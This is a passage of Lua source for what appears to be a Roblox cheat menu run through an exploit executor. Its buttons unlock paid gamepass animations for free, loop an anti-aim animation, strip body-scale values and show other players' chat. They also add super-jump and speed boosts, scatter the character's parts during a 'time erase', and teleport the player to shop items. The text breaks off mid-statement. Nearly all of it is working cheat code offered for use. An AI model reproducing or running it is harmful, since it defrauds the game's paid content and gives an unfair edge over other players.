LP.PlayerGui.Chat.Frame.ChatBarParentFrame.Position = LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Position + UDim2.new(UDim.new(),LP.PlayerGui.Chat.Frame.ChatChannelParentFrame.Size.Y) end) local anti = FunstuffPage.AddButton("Anti-Aim", function() local UniversalAnimation = Instance.new("Animation") function stopTracks() for _, v in next, game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):GetPlayingAnimationTracks() do if (v.Animation.AnimationId:match("rbxassetid")) then v:Stop() end end end function loadAnimation(id) if UniversalAnimation.AnimationId == id then stopTracks() UniversalAnimation.AnimationId = "1" else UniversalAnimation.AnimationId = id local animationTrack = game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):LoadAnimation(UniversalAnimation) animationTrack:Play() end end while wait() do stopTracks() loadAnimation("rbxassetid://3152378852") end end) local SecondButton = FunstuffPage.AddButton("Animation Gamepass", function() local Folder = Instance.new('Folder', game:GetService("Workspace")) local AnimationPack = game:GetService("Players").LocalPlayer.PlayerGui.MainScreenGui.AnimationPack local ScrollingFrame = AnimationPack.ScrollingFrame local CloseButton = AnimationPack.CloseButton AnimationPack.Visible = true local LeanAnimation = Instance.new("Animation", Folder) LeanAnimation.Name = "LeanAnimation" LeanAnimation.AnimationId = "rbxassetid://3152375249" local Lean = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LeanAnimation) local LayAnimation = Instance.new("Animation", Folder) LayAnimation.Name = "LayAnimation" LayAnimation.AnimationId = "rbxassetid://3152378852" local Lay = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LayAnimation) local Dance1Animation = Instance.new("Animation", Folder) Dance1Animation.Name = "Dance1Animation" Dance1Animation.AnimationId = "rbxassetid://3189773368" local Dance1 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance1Animation) local Dance2Animation = Instance.new("Animation", Folder) Dance2Animation.Name = "Dance2Animation" Dance2Animation.AnimationId = "rbxassetid://3189776546" local Dance2 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance2Animation) local GreetAnimation = Instance.new("Animation", Folder) GreetAnimation.Name = "GreetAnimation" GreetAnimation.AnimationId = "rbxassetid://3189777795" local Greet = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(GreetAnimation) local PrayingAnimation = Instance.new("Animation", Folder) PrayingAnimation.Name = "PrayingAnimation" PrayingAnimation.AnimationId = "rbxassetid://3487719500" local Praying = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(PrayingAnimation) for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Lean" then v.Name = "LeanButton" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Lay" then v.Name = "LayButton" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Dance1" then v.Name = "Dance1Button" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Dance2" then v.Name = "Dance2Button" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Greet" then v.Name = "GreetButton" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Praying" then v.Name = "PrayingButton" end end end function Stop() Lay:Stop() Lean:Stop() Dance1:Stop() Dance2:Stop() Greet:Stop() Praying:Stop() end local LeanTextButton = ScrollingFrame.LeanButton local LayTextButton = ScrollingFrame.LayButton local Dance1TextButton = ScrollingFrame.Dance1Button local Dance2TextButton = ScrollingFrame.Dance2Button local GreetTextButton = ScrollingFrame.GreetButton local PrayingTextButton = ScrollingFrame.PrayingButton AnimationPack.MouseButton1Click:Connect(function() if ScrollingFrame.Visible == false then ScrollingFrame.Visible = true CloseButton.Visible = true end end) CloseButton.MouseButton1Click:Connect(function() if ScrollingFrame.Visible == true then ScrollingFrame.Visible = false CloseButton.Visible = false end end) LeanTextButton.MouseButton1Click:Connect(function() Stop() Lean:Play() end) LayTextButton.MouseButton1Click:Connect(function() Stop() Lay:Play() end) Dance1TextButton.MouseButton1Click:Connect(function() Stop() Dance1:Play() end) Dance2TextButton.MouseButton1Click:Connect(function() Stop() Dance2:Play() end) GreetTextButton.MouseButton1Click:Connect(function() Stop() Greet:Play() end) PrayingTextButton.MouseButton1Click:Connect(function() Stop() Praying:Play() end) game:GetService("Players").LocalPlayer.Character.Humanoid.Running:Connect(function() Stop() end) game:GetService("Players").LocalPlayer.Character.Humanoid.Died:Connect(function() Stop() repeat wait() until game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 100 wait(1) local AnimationPack = game:GetService("Players").LocalPlayer.PlayerGui.MainScreenGui.AnimationPack local ScrollingFrame = AnimationPack.ScrollingFrame local CloseButton = AnimationPack.CloseButton AnimationPack.Visible = true local LeanAnimation = Instance.new("Animation", Folder) LeanAnimation.Name = "LeanAnimation" LeanAnimation.AnimationId = "rbxassetid://3152375249" local Lean = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LeanAnimation) local LayAnimation = Instance.new("Animation", Folder) LayAnimation.Name = "LayAnimation" LayAnimation.AnimationId = "rbxassetid://3152378852" local Lay = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(LayAnimation) local Dance1Animation = Instance.new("Animation", Folder) Dance1Animation.Name = "Dance1Animation" Dance1Animation.AnimationId = "rbxassetid://3189773368" local Dance1 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance1Animation) local Dance2Animation = Instance.new("Animation", Folder) Dance2Animation.Name = "Dance2Animation" Dance2Animation.AnimationId = "rbxassetid://3189776546" local Dance2 = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(Dance2Animation) local GreetAnimation = Instance.new("Animation", Folder) GreetAnimation.Name = "GreetAnimation" GreetAnimation.AnimationId = "rbxassetid://3189777795" local Greet = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(GreetAnimation) local PrayingAnimation = Instance.new("Animation", Folder) PrayingAnimation.Name = "PrayingAnimation" PrayingAnimation.AnimationId = "rbxassetid://3487719500" local Praying = game:GetService("Players").LocalPlayer.Character.Humanoid:LoadAnimation(PrayingAnimation) for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Lean" then v.Name = "LeanButton" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Lay" then v.Name = "LayButton" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Dance1" then v.Name = "Dance1Button" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Dance2" then v.Name = "Dance2Button" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Greet" then v.Name = "GreetButton" end end end for i,v in pairs(ScrollingFrame:GetChildren()) do if v.Name == "TextButton" then if v.Text == "Praying" then v.Name = "PrayingButton" end end end function Stop() Lay:Stop() Lean:Stop() Dance1:Stop() Dance2:Stop() Greet:Stop() Praying:Stop() end local LeanTextButton = ScrollingFrame.LeanButton local LayTextButton = ScrollingFrame.LayButton local Dance1TextButton = ScrollingFrame.Dance1Button local Dance2TextButton = ScrollingFrame.Dance2Button local GreetTextButton = ScrollingFrame.GreetButton local PrayingTextButton = ScrollingFrame.PrayingButton AnimationPack.MouseButton1Click:Connect(function() if ScrollingFrame.Visible == false then ScrollingFrame.Visible = true CloseButton.Visible = true end end) CloseButton.MouseButton1Click:Connect(function() if ScrollingFrame.Visible == true then ScrollingFrame.Visible = false CloseButton.Visible = false end end) LeanTextButton.MouseButton1Click:Connect(function() Stop() Lean:Play() end) LayTextButton.MouseButton1Click:Connect(function() Stop() Lay:Play() end) Dance1TextButton.MouseButton1Click:Connect(function() Stop() Dance1:Play() end) Dance2TextButton.MouseButton1Click:Connect(function() Stop() Dance2:Play() end) GreetTextButton.MouseButton1Click:Connect(function() Stop() Greet:Play() end) PrayingTextButton.MouseButton1Click:Connect(function() Stop() Praying:Play() end) end) end) local SecondButton = FunstuffPage.AddButton("Juggernaut", function() local LocalPlayer = game:GetService("Players").LocalPlayer local Mouse = LocalPlayer:GetMouse() local OriginalKeyUpValue = 0 local Anim = Instance.new("Animation") Anim.AnimationId = "rbxassetid://2788838708" function StopAudio() LocalPlayer.Character.LowerTorso.BOOMBOXSOUND:Stop() end function stop(ID, Key) local cor = coroutine.wrap(function() wait(LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.TimeLength-0.1) if LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OriginalKeyUpValue == Key then StopAudio() end end) cor() end function play(ID, STOP, LMAO) if LocalPlayer.Backpack:FindFirstChild("[Boombox]") then local Tool = nil if LocalPlayer.Character:FindFirstChildOfClass("Tool") and LMAO == true then Tool = LocalPlayer.Character:FindFirstChildOfClass("Tool") LocalPlayer.Character:FindFirstChildOfClass("Tool").Parent = LocalPlayer.Backpack end LocalPlayer.Backpack["[Boombox]"].Parent = LocalPlayer.Character game.ReplicatedStorage.MainEvent:FireServer("Boombox", ID) LocalPlayer.Character["[Boombox]"].RequiresHandle = false if LocalPlayer.Character["[Boombox]"]:FindFirstChild("Handle") then LocalPlayer.Character["[Boombox]"].Handle:Destroy() end LocalPlayer.Character["[Boombox]"].Parent = LocalPlayer.Backpack LocalPlayer.PlayerGui.MainScreenGui.BoomboxFrame.Visible = false if Tool ~= true then if Tool then Tool.Parent = LocalPlayer.Character end end if STOP == true then LocalPlayer.Character.LowerTorso:WaitForChild("BOOMBOXSOUND") local cor = coroutine.wrap(function() repeat wait() until LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and LocalPlayer.Character.LowerTorso.BOOMBOXSOUND.TimeLength > 0.01 OriginalKeyUpValue = OriginalKeyUpValue+1 stop(ID, OriginalKeyUpValue) end) cor() end end end function Tool() local Tool = Instance.new("Tool") Tool.Name = "Juggernaut" Tool.RequiresHandle = false Tool.Activated:Connect(function() local Character = LocalPlayer.Character local Humanoid = Character:FindFirstChildOfClass("Humanoid") function rm() for i,v in pairs(Character:GetDescendants()) do if v:IsA("BasePart") or v:IsA("MeshPart") then if v.Name ~= "Head" then for i,cav in pairs(v:GetDescendants()) do if cav:IsA("Attachment") then if cav:FindFirstChild("OriginalPosition") then cav.OriginalPosition:Destroy() end end end for i,v in pairs(v:GetChildren()) do if v.Name == "OriginalSize" then v:Destroy() end end if v:FindFirstChild("AvatarPartScaleType") then v:FindFirstChild("AvatarPartScaleType"):Destroy() end end end end end Humanoid:LoadAnimation(Anim):Play() play(862491729, true, true) wait(0.4) rm() Humanoid:FindFirstChild("BodyTypeScale"):Destroy() wait(0.2) rm() Humanoid:FindFirstChild("BodyWidthScale"):Destroy() wait(0.02) rm() Humanoid:FindFirstChild("BodyDepthScale"):Destroy() wait(0.02) rm() Humanoid:FindFirstChild("BodyTypeScale"):Destroy() wait(0.02) end) Tool.Parent = LocalPlayer.Backpack end Tool() end) local SecondButton = FunstuffPage.AddButton("Hearing", function() function Hearing() function sandbox(var,func) local env = getfenv(func) local newenv = setmetatable({},{ __index = function(self,k) if k=="script" then return var else return env[k] end end, }) setfenv(func,newenv) return func end cors = {} mas = Instance.new("Model",game:GetService("Lighting")) Tool0 = Instance.new("Tool") LocalScript1 = Instance.new("LocalScript") BillboardGui2 = Instance.new("BillboardGui") ImageLabel3 = Instance.new("ImageLabel") ScreenGui4 = Instance.new("ScreenGui") TextLabel5 = Instance.new("TextLabel") ScreenGui6 = Instance.new("ScreenGui") ImageLabel7 = Instance.new("ImageLabel") Tool0.Name = "Hearing" Tool0.Parent = mas Tool0.CanBeDropped = false Tool0.RequiresHandle = false LocalScript1.Parent = Tool0 table.insert(cors,sandbox(LocalScript1,function() wait(); local l__LocalPlayer__1 = game.Players.LocalPlayer; while true do wait(); if l__LocalPlayer__1.Character then break; end; end; local l__Character__2 = l__LocalPlayer__1.Character; local u1 = false; local l__PlayerGui__2 = game.CoreGui; function ChatFunc(p1) local v3 = p1.Chatted:connect(function(p2) if u1 then local v4 = BrickColor.Random(); local v5 = script.MsgGui:Clone(); if string.find(string.lower(p2), "super") then v5.Msg.TextSize = 29; end; v5.Msg.Text = p1.Name .. ": " .. p2; v5.Msg.TextColor3 = v4.Color; v5.Msg.Position = UDim2.new(0.5, math.random(-350, 350), 0.5, math.random(-210, 250)); v5.Parent = l__PlayerGui__2; local v6 = script.DotGui:Clone(); v6.Dot.ImageColor3 = v4.Color; v6.Enabled = true; if p1.Character then if p1.Character:findFirstChild("Head") then v6.Parent = p1.Character.Head; end; end; spawn(function() local v7 = 1 - 1; while true do v6.Size = v6.Size - UDim2.new(0, 1, 0, 1); game:GetService("RunService").RenderStepped:wait(); if 0 <= 1 then if v7 < 70 then else break; end; elseif 70 < v7 then else break; end; v7 = v7 + 1; end; end); game.Debris:AddItem(v5, 3); game.Debris:AddItem(v6, 6); end; end); end; for v8, v9 in pairs(game.Players:GetChildren()) do ChatFunc(v9); end; game.Players.PlayerAdded:connect(function(p3) ChatFunc(p3); end); local u3 = false; local u4 = nil; script.Parent.Equipped:connect(function(p4) p4.Button1Down:connect(function() if u3 then return; end; u3 = true; if not u1 then u4 = script.Frame:Clone(); u4.Parent = l__PlayerGui__2; u1 = true; else u4:Destroy(); u1 = false; end; wait(1); u3 = false; end); end); end)) BillboardGui2.Name = "DotGui" BillboardGui2.Parent = LocalScript1 BillboardGui2.Enabled = false BillboardGui2.Size = UDim2.new(0, 90, 0, 90) BillboardGui2.Active = true BillboardGui2.ClipsDescendants = true BillboardGui2.ZIndexBehavior = Enum.ZIndexBehavior.Sibling BillboardGui2.AlwaysOnTop = true ImageLabel3.Name = "Dot" ImageLabel3.Parent = BillboardGui2 ImageLabel3.Size = UDim2.new(1, 0, 1, 0) ImageLabel3.BackgroundColor = BrickColor.new("Institutional white") ImageLabel3.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel3.BackgroundTransparency = 1 ImageLabel3.Image = "rbxassetid://130424513" ImageLabel3.ImageColor3 = Color3.new(1, 0, 0) ScreenGui4.Name = "MsgGui" ScreenGui4.Parent = LocalScript1 ScreenGui4.ZIndexBehavior = Enum.ZIndexBehavior.Sibling TextLabel5.Name = "Msg" TextLabel5.Parent = ScreenGui4 TextLabel5.Position = UDim2.new(0, 300, 0, 25) TextLabel5.Size = UDim2.new(0, 1, 0, 1) TextLabel5.BackgroundColor = BrickColor.new("Institutional white") TextLabel5.BackgroundColor3 = Color3.new(1, 1, 1) TextLabel5.BackgroundTransparency = 1 TextLabel5.Font = Enum.Font.SourceSansBold TextLabel5.FontSize = Enum.FontSize.Size28 TextLabel5.Text = "" TextLabel5.TextColor = BrickColor.new("Really black") TextLabel5.TextColor3 = Color3.new(0, 0, 0) TextLabel5.TextSize = 25 TextLabel5.TextStrokeTransparency = 0.60000002384186 ScreenGui6.Name = "Frame" ScreenGui6.Parent = LocalScript1 ScreenGui6.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ImageLabel7.Name = "Image" ImageLabel7.Parent = ScreenGui6 ImageLabel7.Size = UDim2.new(1, 0, 1, 0) ImageLabel7.BackgroundColor = BrickColor.new("Institutional white") ImageLabel7.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel7.BackgroundTransparency = 1 ImageLabel7.Image = "rbxassetid://36869195" ImageLabel7.ImageColor3 = Color3.new(0.290196, 1, 0.917647) ImageLabel7.ImageTransparency = 0.80000001192093 for i,v in pairs(mas:GetChildren()) do v.Parent = game.Players.LocalPlayer.Backpack pcall(function() v:MakeJoints() end) end mas:Destroy() for i,v in pairs(cors) do spawn(function() pcall(v) end) end end game.Players.LocalPlayer.Character:WaitForChild("FULLY_LOADED_CHAR") Hearing() end) local SecondButton = FunstuffPage.AddButton("Heart", function() game.Players.LocalPlayer.PlayerGui.MainScreenGui.Bar.HP.Picture.Life.Visible = true game.Players.LocalPlayer.PlayerGui:WaitForChild("MainScreenGui"):WaitForChild("Bar"):WaitForChild("HP"):WaitForChild("Picture"):WaitForChild("Life").Visible = true end) local SecondButton = FunstuffPage.AddButton("Super Jump (H to toggle, 'Time erase!' to time erase)", function() local MyStand = "DxskTilIDawn" local SuperJumpEnabled = false getgenv().Toggled = false local UIS = game:GetService("UserInputService") UIS.InputBegan:connect(function(input,gameProcessed) if input.UserInputType == Enum.UserInputType.Keyboard then if input.KeyCode == Enum.KeyCode.H then if UIS:GetFocusedTextBox() == nil then if getgenv().Toggled == false then getgenv().Toggled = true else getgenv().Toggled = true end;end;end;end;end) local LocalPlayer = game:GetService("Players").LocalPlayer local Cookies = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Roll) local OriginalKeyUpValue = 0 local Anim = Instance.new("Animation" ) Anim.AnimationId = "rbxassetid://2788290270" local Hover = Instance.new("Animation", game.Workspace) Hover.Name = "Hover" Hover.AnimationId = "rbxassetid://698251653" local LeftPunch = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations)LeftPunch.Name = "LeftPunch" LeftPunch.AnimationId = "rbxassetid://2788308661" local LeftAnim = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.LeftPunch) local CoreUI = Instance.new("ScreenGui") local Humanoid = game.Players.LocalPlayer.Character.Humanoid CoreUI.Parent = game.CoreGui local SaveLocation = nil local RigWalk = nil local RigIdle = nil local InTimeErase = false local Pointing = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations) Pointing.AnimationId = "rbxassetid://507770453" local UNMASKKK = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations) UNMASKKK.Name = "Unmask" UNMASKKK.AnimationId = "rbxassetid://3380629232" local MASKKK = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations) MASKKK.Name = "Mask" MASKKK.AnimationId = "rbxassetid://3380627692" local Poter = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(Pointing) Poter.Looped = true Poter.Priority = Enum.AnimationPriority.Action local WalkAnimation = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations) WalkAnimation.AnimationId = "rbxassetid://2510198475" local Idle = Instance.new("Animation", game.ReplicatedStorage.ClientAnimations) Idle.AnimationId = "rbxassetid://507766388" local OldChar = LocalPlayer.Character local MaskAnim = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Mask) local UnmaskAnim = LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Unmask) function FoV() local fov = coroutine.wrap(function() local Camera = workspace.Camera for i = 1, 20 do game.TweenService:Create(Camera, TweenInfo.new(0.5), {FieldOfView = 8*i}):Play() wait(0.01) end for i = 1, 20 do game.TweenService:Create(Camera, TweenInfo.new(0.5), {FieldOfView = 160-i*4.5}):Play() wait(0.01) end end) fov() end local WalkSpeed = false local function rm() for i, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do if v.Name == "OriginalPosition" then v:Destroy() elseif v.Name == "OriginalSize" then v:Destroy() elseif v.Name == "AvatarPartScaleType" then v:Destroy() end end end function Lighting() if game.Lighting:FindFirstChild("ERASE") == nil then local sound5 = Instance.new("Sound", CoreUI) sound5.Volume = 0.1 sound5.Name = "ERASE" sound5.Looped = true sound5.SoundId = "rbxassetid://3167092959" sound5:Play() game.Lighting.Sky.Parent = workspace game:GetObjects("rbxassetid://6546113226")[1].Parent=game.Lighting else workspace.Sky.Parent = game.Lighting CoreUI:FindFirstChild("ERASE"):Destroy() game.Lighting:FindFirstChild("ERASE"):Destroy() end end function TimeEraseUI() local sound5 = Instance.new("Sound", CoreUI) sound5.Volume = 0.1 sound5.SoundId = "rbxassetid://6546128175" sound5:Play() local Image = Instance.new("ImageLabel", CoreUI) Image.Image = "http://www.roblox.com/asset/?id=6546043746" Image.BackgroundTransparency = 1 Image.AnchorPoint = Vector2.new(0.5, 0.5) Image.Size = UDim2.fromScale(1, 1) Image.Position = UDim2.fromScale(-0.5, 0.5) delay(0, function() for i = 0, 1, 0.1 do Image.Position = UDim2.fromScale(-Image.Position.X.Scale+i, 0.5) Image.ImageTransparency = Image.ImageTransparency+i wait(.01) end Image:Destroy() sound5:Destroy() end) end function ModelCharacter() if workspace:FindFirstChild(LocalPlayer.Name.."StringKOD") == nil then local MODEL = Instance.new("Model", workspace) MODEL.Name = LocalPlayer.Name.."StringKOD" OldChar.Humanoid:UnequipTools() for i, v in pairs(OldChar:GetChildren()) do if (v:IsA("BasePart") or v:IsA("MeshPart")) and v.Parent:FindFirstChildOfClass("Humanoid") and v.Name ~= "HumanoidRootPart" then local Part = v:Clone() Part.Parent = MODEL Part.Name = v.Name Part.Material = Enum.Material.ForceField Part.CFrame = v.CFrame Part.Transparency = 0.5 Part.BrickColor = BrickColor.Red() Part.CanCollide = false Part.Anchored = true for i, v in pairs(Part:GetChildren()) do if v.ClassName ~= "SpecialMesh" then v:Destroy() end end end end local NewCharacter = game:GetObjects("rbxassetid://6547055500")[1] NewCharacter.Parent = MODEL NewCharacter.Name = "Idaro" workspace.Camera.CameraSubject = NewCharacter.Humanoid SaveLocation = OldChar.HumanoidRootPart.CFrame InTimeErase = true NewCharacter.HumanoidRootPart.CFrame = SaveLocation RigIdle = NewCharacter:WaitForChild("Humanoid"):LoadAnimation(Idle) RigIdle.Looped = true RigIdle.Priority = Enum.AnimationPriority.Action RigWalk = NewCharacter:WaitForChild("Humanoid"):LoadAnimation(WalkAnimation) RigWalk.Looped = true RigWalk.Priority = Enum.AnimationPriority.Action WalkSpeed = true RigIdle:Play() else InTimeErase = false WalkSpeed = false workspace.Camera.CameraSubject = OldChar.Humanoid OldChar.HumanoidRootPart.CFrame = workspace:FindFirstChild(LocalPlayer.Name.."StringKOD").Idaro.HumanoidRootPart.CFrame workspace:FindFirstChild(LocalPlayer.Name.."StringKOD"):Destroy() end end function Slide() local XD = OldChar.Humanoid:LoadAnimation(Anim) XD:Play() XD.TimePosition = 0.15 XD.Looped = false XD:AdjustSpeed(1.1) end function AddVelocity(Vel, Char) Char.HumanoidRootPart.Velocity = Char.HumanoidRootPart.Velocity+Vel end local IsJump = false function Jumping() if IsJump == false then return false else return true end end local Mouse = LocalPlayer:GetMouse() local MoveDirection = Vector3.new(0,0,0) local WSpped = 0 local LeftSpeed = 0 local UpSpeed = 0 function IdleRigXD() if RigIdle and RigWalk.IsPlaying and WSpped == 0 and LeftSpeed == 0 and UpSpeed == 0 then RigIdle:Play() RigWalk:Stop() end end function WalkRigXD() if RigWalk and RigIdle.IsPlaying then RigIdle:Stop() RigWalk:Play() end end Mouse.KeyDown:Connect(function(KeyDownXD) if workspace:FindFirstChild(LocalPlayer.Name.."StringKOD") then if KeyDownXD == "w" then WSpped = -1 WalkRigXD() elseif KeyDownXD == "a" then LeftSpeed = -1 WalkRigXD() elseif KeyDownXD == "d" then LeftSpeed = 1 WalkRigXD() elseif KeyDownXD == "s" then WSpped = 1 WalkRigXD() end end end) Mouse.KeyUp:Connect(function(KeyDownXD) if KeyDownXD == "w" then WSpped = 0 IdleRigXD() elseif KeyDownXD == "a" then LeftSpeed = 0 IdleRigXD() elseif KeyDownXD == "d" then LeftSpeed = -0 IdleRigXD() elseif KeyDownXD == "s" then WSpped = 0 IdleRigXD() end end) local CD = false local uis = game:GetService("UserInputService") uis.InputBegan:Connect(function(i, XD) if i.KeyCode == Enum.KeyCode.H and XD == false then if SuperJumpEnabled == false then SuperJumpEnabled = true elseif SuperJumpEnabled == true then SuperJumpEnabled = false end end end) uis.InputBegan:Connect(function(i, XD) if i.KeyCode == Enum.KeyCode.Space and XD == false then if workspace:FindFirstChild(LocalPlayer.Name.."StringKOD") == nil then if Jumping() == true and not Poter.IsPlaying then AddVelocity(OldChar.HumanoidRootPart.CFrame.LookVector*150, OldChar) IsJump = false Cookies:Stop() CD = true Slide() repeat wait() until workspace:FindPartOnRayWithWhitelist(Ray.new(OldChar.HumanoidRootPart.Position, Vector3.new(0, -4 * OldChar.HumanoidRootPart.Size.y, 0)), { workspace.MAP }) CD = false end else workspace:FindFirstChild(LocalPlayer.Name.."StringKOD"):FindFirstChild("Idaro").Humanoid:ChangeState(3) end end end) function StopAudio() OldChar.LowerTorso.BOOMBOXSOUND:Stop() end function stop(ID, Key) local cor = coroutine.wrap(function() wait(OldChar.LowerTorso.BOOMBOXSOUND.TimeLength-0) if OldChar.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OriginalKeyUpValue == Key then StopAudio() end end) cor() end function play(ID, STOP, LMAO) if LocalPlayer.Backpack:FindFirstChild("[Boombox]") then local Tool = nil if OldChar:FindFirstChildOfClass("Tool") and LMAO == true then Tool = OldChar:FindFirstChildOfClass("Tool") OldChar:FindFirstChildOfClass("Tool").Parent = LocalPlayer.Backpack end LocalPlayer.Backpack["[Boombox]"].Parent = OldChar game.ReplicatedStorage.MainEvent:FireServer("Boombox", ID) OldChar["[Boombox]"].RequiresHandle = false if OldChar["[Boombox]"]:FindFirstChild("Handle") then OldChar["[Boombox]"].Handle:Destroy() end OldChar["[Boombox]"].Parent = LocalPlayer.Backpack LocalPlayer.PlayerGui.MainScreenGui.BoomboxFrame.Visible = false if Tool ~= true then if Tool then Tool.Parent = OldChar end end if STOP == true then OldChar.LowerTorso:WaitForChild("BOOMBOXSOUND") local cor = coroutine.wrap(function() repeat wait() until OldChar.LowerTorso.BOOMBOXSOUND.SoundId == "rbxassetid://"..ID and OldChar.LowerTorso.BOOMBOXSOUND.TimeLength > 0 OriginalKeyUpValue = OriginalKeyUpValue+1 stop(ID, OriginalKeyUpValue) end) cor() end end end local bro = false local TimeErase, CanCel = "Time erase!", "Time erase!" local TimeStop, TimeResume = "Time stop!", "Time stop!" local XD = false LocalPlayer.Chatted:Connect(function(MSG) if MSG == "Rage!" then if Humanoid:FindFirstChild("HeadScale") then rm() wait(0.6) Humanoid:FindFirstChild("HeadScale"):Destroy() wait(0.6) end if Humanoid:FindFirstChild("BodyWidthScale") then rm() wait(0.6) Humanoid:FindFirstChild("BodyWidthScale"):Destroy() wait(0.6) end if Humanoid:FindFirstChild("BodyDepthScale") then rm() wait(0.6) Humanoid:FindFirstChild("BodyDepthScale"):Destroy() wait(0.6) end if Humanoid:FindFirstChild("BodyTypeScale") then rm() wait(0.6) Humanoid:FindFirstChild("BodyTypeScale"):Destroy() wait(0.6) end elseif MSG:sub(1, 11) == TimeErase and XD == false and not Poter.IsPlaying then XDDDD(XD) elseif MSG == CanCel and XD == true and not Poter.IsPlaying then XDDDD(XD) elseif MSG == TimeStop then play(6947054675, true, true) wait(0.3) OldChar.LowerTorso.BOOMBOXSOUND.SoundId = "http://www.roblox.com/asset/?id=wd" wait(0.1) play(7084712646, true, true) end end) function XDDDD(XDR) if XDR == false then XD = true play(6546133414, true, true) wait(2) TimeEraseUI() FoV() Lighting() ModelCharacter() else XD = false InTimeErase = false wait(0.1) play(6543435253, true, true) TimeEraseUI() ModelCharacter() Lighting() FoV() end end function Jump(...) (...).Jumping:Connect(function() if SuperJumpEnabled == true then if CD == false and not Poter.IsPlaying then CD = true delay(1, function() CD = false end) Cookies:Play(0, 1, 1.4) AddVelocity(OldChar.HumanoidRootPart.CFrame.UpVector*120, OldChar) delay(0, function() IsJump = true wait(1) if IsJump == true then IsJump = false end end) end end end) end Jump(OldChar.Humanoid) LocalPlayer.CharacterAdded:Connect(function(Character) wait(1) if Character.Name == LocalPlayer.Name then Jump(Character.Humanoid) Poter = Character:WaitForChild("Humanoid"):LoadAnimation(Pointing) Poter.Looped = true Poter.Priority = Enum.AnimationPriority.Action Cookies = Character:WaitForChild("Humanoid"):LoadAnimation(game.ReplicatedStorage.ClientAnimations.Roll) OldChar = Character end end) game["Run Service"].Heartbeat:Connect(function() if InTimeErase then for i, v in pairs(OldChar:GetChildren()) do if v:IsA("BasePart") then v.CFrame = CFrame.new(math.random(200, 500), math.random(200, 500), math.random(200, 500)) v.Velocity = Vector3.new(0,0,0) end end if OldChar:FindFirstChild("Combat") and XD == true then XD = false XDDDD(true) end if WalkSpeed == true then MoveDirection = Vector3.new(LeftSpeed, UpSpeed, WSpped) workspace:FindFirstChild(LocalPlayer.Name.."StringKOD"):FindFirstChild("Idaro").Humanoid:Move(MoveDirection, true) end else if OldChar:FindFirstChild("[Flashlight]") then if workspace.Players:FindFirstChild(MyStand) then if not Poter.IsPlaying then Poter:Play() Poter:AdjustSpeed(0) Poter.TimePosition = 1.2 end local lol = workspace.Players:FindFirstChild(MyStand).HumanoidRootPart.CFrame * CFrame.new(0, 0.5, 1.25) OldChar.HumanoidRootPart.CFrame = lol end else if Poter.IsPlaying then Poter:Stop() end end end end) end) local SecondButton = FunstuffPage.AddButton("Fake macro (M)", function() plr = game:GetService('Players').LocalPlayer down = true function onButton1Down(mouse) down = true while down do if not down then break end local char = plr.Character char.HumanoidRootPart.Velocity = char.HumanoidRootPart.CFrame.lookVector * 190 wait() end end function onButton1Up(mouse) down = false end function onSelected(mouse) mouse.KeyDown:connect(function(m) if m:lower()=="m"then onButton1Down(mouse)end end) mouse.KeyUp:connect(function(m) if m:lower()=="m"then onButton1Up(mouse)end end) end onSelected(game.Players.LocalPlayer:GetMouse()) end) --------------- for i,v in pairs(game:GetService("Workspace").Ignored.Shop:GetChildren()) do local FirstButton = AutoBuyPage.AddButton(v.Name, function() local Pos = game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame local Teleport = v:FindFirstChild("Head") if Teleport 